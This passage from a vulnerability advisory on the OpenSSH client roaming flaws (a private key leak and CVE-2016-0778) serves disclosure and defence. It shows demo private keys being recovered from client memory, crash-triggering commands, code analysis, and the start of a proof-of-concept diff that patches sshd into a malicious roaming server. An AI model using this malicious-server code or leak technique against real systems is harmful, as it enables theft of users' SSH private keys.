vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)

# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

------------------------------------------------------------------------
Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v

# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/

# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4

------------------------------------------------------------------------
Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9

# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P

# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+


========================================================================
Buffer Overflow (CVE-2016-0778)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

Support for roaming was elegantly added to the OpenSSH client: the calls
to read() and write() that communicate with the SSH server were replaced
by calls to roaming_read() and roaming_write(), two wrappers that depend
on wait_for_roaming_reconnect() to transparently reconnect to the server
after a disconnection. The wait_for_roaming_reconnect() routine is
essentially a sequence of four subroutines:

239 int
240 wait_for_roaming_reconnect(void)
241 {
...
250         fprintf(stderr, "[connection suspended, press return to resume]");
...
252         packet_backup_state();
253         /* TODO Perhaps we should read from tty here */
254         while ((c = fgetc(stdin)) != EOF) {
...
259                 if (c != '\n' && c != '\r')
260                         continue;
261
262                 if (ssh_connect(host, &hostaddr, options.port,
...
265                     options.proxy_command) == 0 && roaming_resume() == 0) {
266                         packet_restore_state();
...
268                         fprintf(stderr, "[connection resumed]\n");
...
270                         return 0;
271                 }
272
273                 fprintf(stderr, "[reconnect failed, press return to retry]");
...
275         }
276         fprintf(stderr, "[exiting]\n");
...
278         exit(0);
279 }

1. packet_backup_state() close()s connection_in and connection_out (the
old file descriptors that connected the client to the server), and saves
the state of the suspended SSH session (for example, the encryption and
decryption contexts).

2. ssh_connect() opens new file descriptors, and connects them to the
SSH server.

3. roaming_resume() negotiates the resumption of the suspended SSH
session with the server, and calls resend_bytes().

4. packet_restore_state() updates connection_in and connection_out (with
the new file descriptors that connect the client to the server), and
restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ
from the old ones (if, for example, files or pipes or sockets are opened
or closed between two successive ssh_connect() calls), but unfortunately
historical code in OpenSSH assumes that they are constant:

- In client_loop(), the variables connection_in and connection_out are
  cached locally, but packet_write_poll() calls roaming_write(), which
  may assign new values to connection_in and connection_out (if a
  reconnection occurs), and client_wait_until_can_do_something()
  subsequently reuses the old, cached values.

- client_loop() eventually updates these cached values, and the
  following FD_ISSET() uses a new, updated file descriptor (the fd
  connection_out), but an old, out-of-date file descriptor set (the
  fd_set writeset).

- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)
  first calloc()ates setp, a file descriptor set for connection_in;
  next, it loops around memset(), FD_SET(), select() and roaming_read();
  last, it free()s setp and returns. Unfortunately, roaming_read() may
  reassign a higher value to connection_in (if a reconnection occurs),
  but setp is never enlarged, and the following memset() and FD_SET()
  may therefore overflow setp (a heap-based buffer overflow):

1048 int
1049 packet_read_seqnr(u_int32_t *seqnr_p)
1050 {
....
1052         fd_set *setp;
....
1058         setp = (fd_set *)xcalloc(howmany(active_state->connection_in + 1,
1059             NFDBITS), sizeof(fd_mask));
....
1065         for (;;) {
....
1075                 if (type != SSH_MSG_NONE) {
1076                         free(setp);
1077                         return type;
1078                 }
....
1083                 memset(setp, 0, howmany(active_state->connection_in + 1,
1084                     NFDBITS) * sizeof(fd_mask));
1085                 FD_SET(active_state->connection_in, setp);
....
1092                 for (;;) {
....
1097                         if ((ret = select(active_state->connection_in + 1, setp,
1098                             NULL, NULL, timeoutp)) >= 0)
1099                                 break;
....
1115                 }
....
1117                 do {
....
1119                         len = roaming_read(active_state->connection_in, buf,
1120                             sizeof(buf), &cont);
1121                 } while (len == 0 && cont);
....
1130         }
1131         /* NOTREACHED */
1132 }

- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is
  basically similar to packet_read_seqnr() and may overflow its own setp
  if roaming_write() (called by packet_write_poll()) reassigns a higher
  value to connection_out (after a successful reconnection):

1739 void
1740 packet_write_wait(void)
1741 {
1742         fd_set *setp;
....
1746         setp = (fd_set *)xcalloc(howmany(active_state->connection_out + 1,
1747             NFDBITS), sizeof(fd_mask));
1748         packet_write_poll();
1749         while (packet_have_data_to_write()) {
1750                 memset(setp, 0, howmany(active_state->connection_out + 1,
1751                     NFDBITS) * sizeof(fd_mask));
1752                 FD_SET(active_state->connection_out, setp);
....
1758                 for (;;) {
....
1763                         if ((ret = select(active_state->connection_out + 1,
1764                             NULL, setp, NULL, timeoutp)) >= 0)
1765                                 break;
....
1776                 }
....
1782                 packet_write_poll();
1783         }
1784         free(setp);
1785 }

------------------------------------------------------------------------
Mitigating Factors
------------------------------------------------------------------------

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact
is significantly reduced by the Mitigating Factors detailed in the
Information Leak section, and additionally:

- OpenSSH versions >= 6.8 reimplement packet_backup_state() and
  packet_restore_state(), but introduce a bug that prevents the buffer
  overflow from being exploited; indeed, ssh_packet_backup_state() swaps
  two local pointers, ssh and backup_state, instead of swapping the two
  global pointers active_state and backup_state:

  9 struct ssh *active_state, *backup_state;
...
238 void
239 packet_backup_state(void)
240 {
241         ssh_packet_backup_state(active_state, backup_state);
242 }
243
244 void
245 packet_restore_state(void)
246 {
247         ssh_packet_restore_state(active_state, backup_state);
248 }

2269 void
2270 ssh_packet_backup_state(struct ssh *ssh,
2271     struct ssh *backup_state)
2272 {
2273         struct ssh *tmp;
....
2279         if (backup_state)
2280                 tmp = backup_state;
2281         else
2282                 tmp = ssh_alloc_session_state();
2283         backup_state = ssh;
2284         ssh = tmp;
2285 }
....
2291 void
2292 ssh_packet_restore_state(struct ssh *ssh,
2293     struct ssh *backup_state)
2294 {
2295         struct ssh *tmp;
....
2299         tmp = backup_state;
2300         backup_state = ssh;
2301         ssh = tmp;
2302         ssh->state->connection_in = backup_state->state->connection_in;

  As a result, the global pointer backup_state is still NULL when passed
  to ssh_packet_restore_state(), and crashes the OpenSSH client when
  dereferenced:

# env ROAMING="overflow:A fd_leaks:0" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume]Segmentation fault (core dumped)

  This bug prevents the buffer overflow from being exploited, but not
  the information leak, because the vulnerable function resend_bytes()
  is called before ssh_packet_restore_state() crashes.

- To the best of our knowledge, this buffer overflow is not exploitable
  in the default configuration of the OpenSSH client; the conclusion of
  the File Descriptor Leak section suggests that two non-default options
  are required: a ProxyCommand, and either ForwardAgent (-A) or
  ForwardX11 (-X).

------------------------------------------------------------------------
File Descriptor Leak
------------------------------------------------------------------------

A back-of-the-envelope calculation indicates that, in order to increase
the file descriptor connection_in or connection_out, and thus overflow
the file descriptor set setp in packet_read_seqnr() or
packet_write_wait(), a file descriptor leak is needed:

- First, the number of bytes calloc()ated for setp is rounded up to the
  nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)
  on 64-bit systems.

- Next, in glibc, this number is rounded up to the nearest multiple of
  MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit
  systems.

- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit
  systems, of which 24 bytes (or 192 file descriptors) are reserved for
  setp.

- In conclusion, a file descriptor leak is needed, because connection_in
  or connection_out has to be increased by hundreds in order to overflow
  setp.

The search for a suitable file descriptor leak begins with a study of
the behavior of the four ssh_connect() methods, when called for a
reconnection by wait_for_roaming_reconnect():

1. The default method ssh_connect_direct() communicates with the server
through a simple TCP socket: the two file descriptors connection_in and
connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the
old TCP socket is close()d by packet_backup_state(), but immediately
reused for the new TCP socket in ssh_connect_direct(): the new file
descriptors connection_in and connection_out are equal to this old,
low-numbered file descriptor, and cannot possibly overflow setp.

2. The special ProxyCommand "-" communicates with the server through
stdin and stdout, but (as explained in the Mitigating Factors of the
Information Leak section) it cannot possibly reconnect to the server,
and is therefore immune to this buffer overflow.

3. Surprisingly, we discovered a file descriptor leak in the
ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor
sp[1] is never close()d:

 101 static int
 102 ssh_proxy_fdpass_connect(const char *host, u_short port,
 103     const char *proxy_command)
 104 {
 ...
 106         int sp[2], sock;
 ...
 113         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0)
 114                 fatal("Could not create socketpair to communicate with "
 115                     "proxy dialer: %.100s", strerror(errno));
 ...
 161         close(sp[0]);
 ...
 164         if ((sock = mm_receive_fd(sp[1])) == -1)
 165                 fatal("proxy dialer did not pass back a connection");
 ...
 171         /* Set the connection file descriptors. */
 172         packet_set_connection(sock, sock);
 173
 174         return 0;
 175 }

However, two different reasons prevent this file descriptor leak from
triggering the setp overflow:

- The method ssh_proxy_fdpass_connect() communicates with the server
  through a single socket received from the ProxyCommand: the two file
  descriptors connection_in and connection_out are both equal to this
  socket's file descriptor.

  In wait_for_roaming_reconnect(), the low-numbered file descriptor of
  the old socket is close()d by packet_backup_state(), reused for sp[0]
  in ssh_proxy_fdpass_connect(), close()d again, and eventually reused
  again for the new socket: the new file descriptors connection_in and
  connection_out are equal to this old, low-numbered file descriptor,
  and cannot possibly overflow setp.

- Because of the waitpid() bug described in the Mitigating Factors of
  the Information Leak section, the method ssh_proxy_fdpass_connect()
  calls fatal() before it returns to wait_for_roaming_reconnect(), and
  is therefore immune to this buffer overflow.

4. The method ssh_proxy_connect() communicates with the server through a
ProxyCommand and two different pipes: the file descriptor connection_in
is the read end of the second pipe (pout[0]), and the file descriptor
connection_out is the write end of the first pipe (pin[1]):

 180 static int
 181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)
 182 {
 ...
 184         int pin[2], pout[2];
 ...
 192         if (pipe(pin) < 0 || pipe(pout) < 0)
 193                 fatal("Could not create pipes to communicate with the proxy: %.100s",
 194                     strerror(errno));
 ...
 240         /* Close child side of the descriptors. */
 241         close(pin[0]);
 242         close(pout[1]);
 ...
 247         /* Set the connection file descriptors. */
 248         packet_set_connection(pout[0], pin[1]);
 249
 250         /* Indicate OK return */
 251         return 0;
 252 }

In wait_for_roaming_reconnect(), the two old, low-numbered file
descriptors connection_in and connection_out are both close()d by
packet_backup_state(), and immediately reused for the pipe(pin) in
ssh_proxy_connect(): the new connection_out (pin[1]) is equal to one of
these old, low-numbered file descriptors, and cannot possibly overflow
setp.

On the other hand, the pipe(pout) in ssh_proxy_connect() may return
high-numbered file descriptors, and the new connection_in (pout[0]) may
therefore overflow setp, if hundreds of file descriptors were leaked
before the call to wait_for_roaming_reconnect():

- We discovered a file descriptor leak in the pubkey_prepare() function
  of OpenSSH >= 6.8; indeed, if the client is running an authentication
  agent that does not offer any private keys, the reference to agent_fd
  is lost, and this file descriptor is never close()d:

1194 static void
1195 pubkey_prepare(Authctxt *authctxt)
1196 {
....
1200         int agent_fd, i, r, found;
....
1247         if ((r = ssh_get_authentication_socket(&agent_fd)) != 0) {
1248                 if (r != SSH_ERR_AGENT_NOT_PRESENT)
1249                         debug("%s: ssh_get_authentication_socket: %s",
1250                             __func__, ssh_err(r));
1251         } else if ((r = ssh_fetch_identitylist(agent_fd, 2, &idlist)) != 0) {
1252                 if (r != SSH_ERR_AGENT_NO_IDENTITIES)
1253                         debug("%s: ssh_fetch_identitylist: %s",
1254                             __func__, ssh_err(r));
1255         } else {
....
1288                 authctxt->agent_fd = agent_fd;
1289         }
....
1299 }

  However, OpenSSH clients >= 6.8 crash in ssh_packet_restore_state()
  (because of the NULL-pointer dereference discussed in the Mitigating
  Factors of the Buffer Overflow section) and are immune to the setp
  overflow, despite this agent_fd leak.

- If ForwardAgent (-A) or ForwardX11 (-X) is enabled in the OpenSSH
  client (it is disabled by default), a malicious SSH server can request
  hundreds of forwardings, in order to increase connection_in (each
  forwarding opens a file descriptor), and thus overflow setp in
  packet_read_seqnr():

# env ROAMING="overflow:A" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014

$ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 ***
Aborted (core dumped)

# env ROAMING="overflow:X" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1
user at 127.0.0.1's password:
[connection suspended, press return to resume][connection resumed]
*** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 ***
*** Error in `/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 ***

Finally, a brief digression on two unexpected problems that had to be
solved in our proof-of-concept:

- First, setp can be overflowed only in packet_read_seqnr(), not in
  packet_write_wait(), but agent forwarding and X11 forwarding are post-
  authentication functionalities, and post-authentication calls to
  packet_read() or packet_read_expect() are scarce, except in the
  key-exchange code of OpenSSH clients < 6.8: our proof-of-concept
  effectively forces a rekeying in order to overflow setp in
  packet_read_seqnr().

- Second, after a successful reconnection, packet_read_seqnr() may call
  fatal("Read from socket failed: %.100s", ...), because roaming_read()
  may return EAGAIN (EAGAIN is never returned without the reconnection,
  because the preceding call to select() guarantees that connection_in
  is ready for read()). Our proof-of-concept works around this problem
  by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server,
  allowing data to reach the client before roaming_read() is called,
  thus avoiding EAGAIN.


========================================================================
Acknowledgments
========================================================================

We would like to thank the OpenSSH developers for their great work and
their incredibly quick response, Red Hat Product Security for promptly
assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall
Project for the interesting discussions.


========================================================================
Proof Of Concept
========================================================================

diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c
--- openssh-6.4p1/auth2-pubkey.c	2013-07-17 23:10:10.000000000 -0700
+++ openssh-6.4p1+roaming/auth2-pubkey.c	2016-01-07 01:04:15.000000000 -0800
@@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt)
 		 * if a user is not allowed to login. is this an
 		 * issue? -markus
 		 */
-		if (PRIVSEP(user_key_allowed(authctxt->pw, key))) {
+		if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) {
+			debug("%s: force client-side load_identity_file",
+			    __func__);
 			packet_start(SSH2_MSG_USERAUTH_PK_OK);
 			packet_put_string(pkalg, alen);
 			packet_put_string(pkblob, blen);
diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c
--- openssh-6.4p1/kex.c	2013-06-01 14:31:18.000000000 -0700
+++ openssh-6.4p1+roaming/kex.c	2016-01-07 01:04:15.000000000 -0800
@@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX],
 }
 
 static void
+roaming_reconnect(void)
+{
+	packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME);
+	const u_int id = packet_get_int(); /* roaming_id */
+	debug("%s: id %u", __func__, id);
+	packet_check_eom();
+
+	const char *const dir = get_roaming_dir(id);
+	debug("%s: dir %s", __func__, dir);
+	const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK);
+	if (fd <= -1)
+		fatal("%s: open %s errno %d", __func__, dir, errno);
+	if (fchdir(fd) != 0)
+		fatal("%s: fchdir %s errno %d", __func__, dir, errno);
+	if (close(fd) != 0)
+		fatal("%s: close %s errno %d", __func__, dir, errno);
+
+	packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED);
+	packet_put_int64(arc4random()); /* chall */
+	packet_put_int64(arc4random()); /* oldchall */
+	packet_send();
+
+	packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH);
+	const u_int64_t client_read_bytes = packet_get_int64();
+	debug("%s: client_read_bytes %llu", __func__,
+	    (unsigned long long)client_read_bytes);
+	packet_get_int64(); /* digest (1-8) */
+	packet_get_int64(); /* digest (9-16) */
+	packet_get_int();   /* digest (17-20) */
+	packet_check_eom();
+
+	u_int64_t client_write_bytes;
+	size_t len = sizeof(client_write_bytes);
+	load_roaming_file("client_write_bytes", &client_write_bytes, &len);
+	debug("%s: client_write_bytes %llu", __func__,
+	    (unsigned long long)client_write_bytes);
+
+	u_int client_out_buf_size;
+	len = sizeof(client_out_buf_size);
+	load_roaming_file("client_out_buf_size", &client_out_buf_size, &len);
+	debug("%s: client_out_buf_size %u", __func__, client_out_buf_size);
+	if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF)
+		fatal("%s: client_out_buf_size %u", __func__,
+			   client_out_buf_size);
+
+	packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK);
+	packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size);
+	packet_send();
